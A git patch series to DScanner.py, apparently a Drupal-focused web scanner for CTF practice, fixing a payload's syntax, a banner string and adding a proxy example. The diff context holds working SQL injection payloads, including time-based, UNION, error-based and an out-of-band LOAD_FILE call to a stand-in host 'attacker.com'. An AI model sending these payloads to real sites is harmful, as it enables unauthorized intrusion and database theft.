From 83890ce59eeeb1d6a0c5beed93c340a96b3a970a Mon Sep 17 00:00:00 2001 From: Luke Date: Mon, 15 Sep 2025 10:07:20 -0500 Subject: [PATCH 1/3] Fix syntax error Resolves Issue #2 --- DScanner.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/DScanner.py b/DScanner.py index f6d07a9..0d21bbe 100644 --- a/DScanner.py +++ b/DScanner.py @@ -164,9 +164,7 @@ # SQL Injection "SQLi Basic": {"path": "/node?title=1' OR '1'='1", "method": "GET"}, "SQLi Blind Time": {"path": "/node?title=1' AND SLEEP(5)--", "method": "GET"}, - "SQLi Union": {"path": "/node?sort=1 UNION SELECT NULL,database(),NULL -- - -", "method": "GET"}, + "SQLi Union": {"path": "/node?sort=1 UNION SELECT NULL,database(),NULL --", "method": "GET"}, "SQLi Error": {"path": "/node?title=1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--", "method": "GET"}, "SQLi Out-of-Band": {"path": "/node?title=1' AND LOAD_FILE('http://attacker.com')--", "method": "GET"}, From 8bec3078faac52fa7426b1ac434e311349d7df95 Mon Sep 17 00:00:00 2001 From: Luke Date: Mon, 15 Sep 2025 10:08:13 -0500 Subject: [PATCH 2/3] Fix Syntax error Resolves SyntaxWarning: invalid escape sequence '/' for banner text --- DScanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/DScanner.py b/DScanner.py index 0d21bbe..ca22681 100644 --- a/DScanner.py +++ b/DScanner.py @@ -17,7 +17,7 @@ import base64 # Banner -BANNER = """ +BANNER = r""" ___ ___ _ __ | \/ __| __ __ _ _ _ _ _ ___ _ _ / | / \ | |) \__ \/ _/ _` | ' \| ' \/ -_) '_| | || () | From b8ac70a29799344b5e549ae6aacc398494d7f3e2 Mon Sep 17 00:00:00 2001 From: Luke Date: Mon, 15 Sep 2025 10:15:10 -0500 Subject: [PATCH 3/3] Add Socks5 example for proxy use --- DScanner.py | 1 + 1 file changed, 1 insertion(+) diff --git a/DScanner.py b/DScanner.py index ca22681..0f8f591 100644 --- a/DScanner.py +++ b/DScanner.py @@ -47,6 +47,7 @@ proxies = { # "http": "http://127.0.0.1:8080", # Uncomment for proxy use # "https": "http://127.0.0.1:8080" + # "socks5": "socks5://127.0.0.1:9050" } # Expanded sensitive paths (CTF goldmine)